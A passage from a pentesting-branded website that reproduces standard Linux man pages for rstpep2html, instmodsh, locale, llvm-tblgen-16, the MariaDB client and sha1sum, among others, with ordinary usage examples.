/etc/zsh/zshenv
/etc/zsh/zprofile
/etc/zsh/zshrc
/etc/zsh/zlogin
/etc/zsh/zlogout (installation-specific - /etc is the default)

SEE ALSO

sh(1), csh(1), tcsh(1), rc(1), bash(1), ksh(1)

IEEE Standard for information Technology - Portable Operating System Interface (POSIX) - Part 2: Shell and Utilities, IEEE Inc, 1993, ISBN 1-55937-255-9.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1468 - Linux cli command rstpep2html

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rstpep2html and provides detailed information about the command rstpep2html, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rstpep2html.

NAME 🖥️ rstpep2html 🖥️

convert reST Python Enhancement Proposals to HTML

SYNOPSIS

rstpep2html [options] [<source> [<destination>]]

DESCRIPTION

Generates (X)HTML from reStructuredText-format PEP files. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

PEP Reader Option Defaults

The –pep-references and –rfc-references options (for the reStructuredText parser) are on by default.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/docutils/writers/html4css1/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “html4css1.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docut ils/writers/html4css1,/usr/share/docutils/writers/html 5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 1 for “<h1>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration (default).

–no-xml-declaration
Omit the XML declaration.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML4 Writer Options

–field-name-limit=*****<level>*
Specify the maximum width (in characters) for one- column field names. Longer field names will span an entire row of the table used to render the field list. Default is 14 characters. Use 0 for “no limit”.

–option-limit=*****<level>*
Specify the maximum width (in characters) for options in option lists. Longer options will span an entire row of the table used to render the option list. Default is 14 characters. Use 0 for “no limit”.

PEP/HTML Writer Options

For the PEP/HTML writer, the default value for the –stylesheet-path option is “/usr/share/docutils/writers/pep_html/pep.css”, and the default value for –template is “/usr/share/docutils/writers/pep_html/template.txt”. See HTML Writer Options above.

–python-home=*****<URL>*
Python’s home URL. Default is " <https://www.python.org> “.

–pep-home=*****<URL>*
Home URL prefix for PEPs. Default is “.” (current directory).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1469 - Linux cli command instmodsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command instmodsh and provides detailed information about the command instmodsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the instmodsh.

NAME 🖥️ instmodsh 🖥️

A shell to examine installed modules

SYNOPSIS

instmodsh

DESCRIPTION

A little interface to ExtUtils::Installed to examine locally* installed modules, validate your packlists and even create a tarball from an installed module.

*On Debian system, core and vendor modules are managed by dpkg.

SEE ALSO

ExtUtils::Installed

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1470 - Linux cli command locale

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command locale and provides detailed information about the command locale, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the locale.

NAME 🖥️ locale 🖥️

get locale-specific information

SYNOPSIS

locale [option]
locale [option] -a
locale [option] -m
locale [option] name...

DESCRIPTION

The locale command displays information about the current locale, or all locales, on standard output.

When invoked without arguments, locale displays the current locale settings for each locale category (see locale(5)), based on the settings of the environment variables that control the locale (see locale(7)). Values for variables set in the environment are printed without double quotes, implied values are printed with double quotes.

If either the -a or the -m option (or one of their long-format equivalents) is specified, the behavior is as follows:

–all-locales
-a
Display a list of all available locales. The -v option causes the LC_IDENTIFICATION metadata about each locale to be included in the output.

–charmaps
-m
Display the available charmaps (character set description files). To display the current character set for the locale, use locale -c charmap.

The locale command can also be provided with one or more arguments, which are the names of locale keywords (for example, date_fmt, ctype-class-names, yesexpr, or decimal_point) or locale categories (for example, LC_CTYPE or LC_TIME). For each argument, the following is displayed:

  • For a locale keyword, the value of that keyword to be displayed.

  • For a locale category, the values of all keywords in that category are displayed.

When arguments are supplied, the following options are meaningful:

–category-name
-c
For a category name argument, write the name of the locale category on a separate line preceding the list of keyword values for that category.

For a keyword name argument, write the name of the locale category for this keyword on a separate line preceding the keyword value.

This option improves readability when multiple name arguments are specified. It can be combined with the -k option.

–keyword-name
-k
For each keyword whose value is being displayed, include also the name of that keyword, so that the output has the format:

keyword="value"

The locale command also knows about the following options:

–verbose
-v
Display additional information for some command-line option and argument combinations.

–help
-?
Display a summary of command-line options and arguments and exit.

–usage
Display a short usage message and exit.

–version
-V
Display the program version and exit.

FILES

/usr/lib/locale/locale-archive
Usual default locale archive location.

/usr/share/i18n/locales
Usual default path for locale definition files.

STANDARDS

POSIX.1-2008.

HISTORY

POSIX.1-2001.

EXAMPLES

$ locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=
$ locale date_fmt
%a %b %e %H:%M:%S %Z %Y
$ locale -k date_fmt
date_fmt="%a %b %e %H:%M:%S %Z %Y"
$ locale -ck date_fmt
LC_TIME
date_fmt="%a %b %e %H:%M:%S %Z %Y"
$ locale LC_TELEPHONE
+%c (%a) %l
(%a) %l
11
1
UTF-8
$ locale -k LC_TELEPHONE
tel_int_fmt="+%c (%a) %l"
tel_dom_fmt="(%a) %l"
int_select="11"
int_prefix="1"
telephone-codeset="UTF-8"

The following example compiles a custom locale from the ./wrk directory with the localedef(1) utility under the $HOME/.locale directory, then tests the result with the date(1) command, and then sets the environment variables LOCPATH and LANG in the shell profile file so that the custom locale will be used in the subsequent user sessions:

$ mkdir -p $HOME/.locale
$ I18NPATH=./wrk/ localedef -f UTF-8 -i fi_SE $HOME/.locale/fi_SE.UTF-8
$ LOCPATH=$HOME/.locale LC_ALL=fi_SE.UTF-8 date
$ echo "export LOCPATH=\$HOME/.locale" >> $HOME/.bashrc
$ echo "export LANG=fi_SE.UTF-8" >> $HOME/.bashrc

SEE ALSO

localedef(1), charmap(5), locale(5), locale(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1471 - Linux cli command llvm-tblgen-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-tblgen-16 and provides detailed information about the command llvm-tblgen-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-tblgen-16.

NAME 🖥️ llvm-tblgen-16 🖥️

tblgen - Target Description to C++ Code for LLVM

SYNOPSIS

llvm-tblgen [options] [filename]

DESCRIPTION

llvm-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1472 - Linux cli command mariadb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb and provides detailed information about the command mariadb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb.

NAME 🖥️ mariadb 🖥️

the MariaDB command-line tool (mysql is now a symlink to mariadb)

SYNOPSIS

mysql [options] db_name

DESCRIPTION

mysql is a simple SQL shell (with GNU readline capabilities). It supports interactive and non-interactive use. When used interactively, query results are presented in an ASCII-table format. When used non-interactively (for example, as a filter), the result is presented in tab-separated format. The output format can be changed using command options.

If you have problems due to insufficient memory for large result sets, use the –quick option. This forces mysql to retrieve results from the server a row at a time rather than retrieving the entire result set and buffering it in memory before displaying it. This is done by returning the result set using the mysql_use_result() C API function in the client/server library rather than mysql_store_result().

Using mysql is very easy. Invoke it from the prompt of your command interpreter as follows:

shell> mysql db_name

Or:

shell> mysql –user=user_name –password=your_password db_name

Then type an SQL statement, end it with “;”, \g, or \G and press Enter.

Typing Control-C causes mysql to attempt to kill the current statement. If this cannot be done, or Control-C is typed again before the statement is killed, mysql exits.

You can execute SQL statements in a script file (batch file) like this:

shell> mysql db_name < script.sql > output.tab

MYSQL OPTIONS

mysql supports the following options, which can be specified on the command line or in the [mysql], [client], [client-server] or [client-mariadb] option file groups. mysql also supports the options for processing option files.

·

–help, -?, -I

Display a help message and exit.

·

–abort-source-on-error

Abort ‘source filename’ operations in case of errors.

·

–auto-rehash

Enable automatic rehashing. This option is on by default, which enables database, table, and column name completion. Use –disable-auto-rehash, –no-auto-rehash, or –skip-auto-rehash to disable rehashing. That causes mysql to start faster, but you must issue the rehash command if you want to use name completion.

To complete a name, enter the first part and press Tab. If the name is unambiguous, mysql completes it. Otherwise, you can press Tab again to see the possible names that begin with what you have typed so far. Completion does not occur if there is no default database.

·

–auto-vertical-output

Automatically switch to vertical output mode if the result is wider than the terminal width.

·

–batch, -B

Print results using tab as the column separator, with each row on a new line. With this option, mysql does not use the history file.

Batch mode results in nontabular output format and escaping of special characters. Escaping may be disabled by using raw mode; see the description for the –raw option.

·

–binary-mode

Binary mode allows certain character sequences to be processed as data that would otherwise be treated with a special meaning by the parser. Specifically, this switch turns off parsing of all client commands except \C and DELIMITER in non-interactive mode (i.e., when binary mode is combined with either 1) piped input, 2) the –batch mysql option, or 3) the ‘source’ command). Also, in binary mode, occurrences of ’ ’ and ASCII ‘�’ are preserved within strings, whereas by default, ’ ’ is translated to ' ’ and ‘�’ is disallowed in user input.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–column-names

Write column names in results.

·

–column-type-info, -m

Display result set metadata.

·

–comments, -c

Whether to preserve comments in statements sent to the server. The default is –skip-comments (discard comments), enable with –comments (preserve comments).

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

**–connect-timeout=**seconds

Set the number of seconds before connection timeout. (Default value is 0.)

·

**–database=**db_name, -D db_name

The database to use.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysql.trace’.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info, -T

Prints debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set for the client and connection.

A common issue that can occur when the operating system uses utf8 or another multi-byte character set is that output from the mysql client is formatted incorrectly, due to the fact that the MariaDB client uses the latin1 character set by default. You can usually fix such issues by using this option to force the client to use the system character set instead.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**suffix

In addition to the groups named on the command line, read groups that have the given suffix.

·

**–delimiter=**str

Set the statement delimiter. The default is the semicolon character (“;”).

·

–disable-named-commands

Disable named commands. Use the \ form only, or use named commands only at the beginning of a line ending with a semicolon (“;”). mysql starts with this option enabled by default. However, even with this option, long-format commands still work from the first line. See the section called “MYSQL COMMANDS”.

·

–enable-cleartext-plugin

Obsolete option. Exists only for MySQL compatibility.

·

**–execute=**statement, -e statement

Execute the statement and quit. Disables –force and history file. The default output format is like that produced with –batch.

·

–force, -f

Continue even if an SQL error occurs. Sets –abort-source-on-error to 0.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–html, -H

Produce HTML output.

·

–ignore-spaces, -i

Ignore spaces after function names. Allows one to have spaces (including tab characters and new line characters) between function name and ‘(’. The drawback is that this causes built in functions to become reserved words.

·

**–init-command=**str

SQL Command to execute when connecting to the MariaDB server. Will automatically be re-executed when reconnecting.

·

–line-numbers

Write line numbers for errors. Disable this with –skip-line-numbers.

·

–local-infile[={0|1}]

Enable or disable LOCAL capability for LOAD DATA INFILE. With no value, the option enables LOCAL. The option may be given as –local-infile=0 or –local-infile=1 to explicitly disable or enable LOCAL. Enabling LOCAL has no effect if the server does not also support it.

·

**–max-allowed-packet=**num

Set the maximum packet length to send to or receive from the server. (Default value is 16MB, largest 1GB.)

·

**–max-join-size=**num

Set the automatic limit for rows in a join when using –safe-updates. (Default value is 1,000,000.)

·

–named-commands, -G

Enable named mysql commands. Long-format commands are allowed, not just short-format commands. For example, quit and \q both are recognized. Use –skip-named-commands to disable named commands. See the section called “MYSQL COMMANDS”. Disabled by default.

·

·

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1473 - Linux cli command sha1sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha1sum and provides detailed information about the command sha1sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha1sum.

NAME 🖥️ sha1sum 🖥️

compute and check SHA1 message digest

SYNOPSIS

sha1sum [OPTION]… [FILE]…

DESCRIPTION

Print or check SHA1 (160-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in FIPS-180-1. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

BUGS

Do not use the SHA-1 algorithm for security related purposes. Instead, use an SHA-2 algorithm, implemented in the programs sha224sum(1), sha256sum(1), sha384sum(1), sha512sum(1), or the BLAKE2 algorithm, implemented in b2sum(1)

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/sha1sum>
or available locally via: info ‘(coreutils) sha1sum invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1474 - Linux cli command resolve_stack_dump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command resolve_stack_dump and provides detailed information about the command resolve_stack_dump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the resolve_stack_dump.

NAME 🖥️ resolve_stack_dump 🖥️

resolve numeric stack trace dump to symbols

SYNOPSIS

resolve_stack_dump [options] symbols_file [numeric_dump_file]

DESCRIPTION

resolve_stack_dump resolves a numeric stack dump to symbols.

Invoke resolve_stack_dump like this:

shell> resolve_stack_dump [options] symbols_file [numeric_dump_file]

The symbols file should include the output from the nm –numeric-sort mysqld command. The numeric dump file should contain a numeric stack track from mysqld. If no numeric dump file is named on the command line, the stack trace is read from the standard input.

resolve_stack_dump supports the following options.

·

–help, -h

Display a help message and exit.

·

**–numeric-dump-file=**file_name, -n file_name

Read the stack trace from the given file.

·

**–symbols-file=**file_name, -s file_name

Use the given symbols file.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

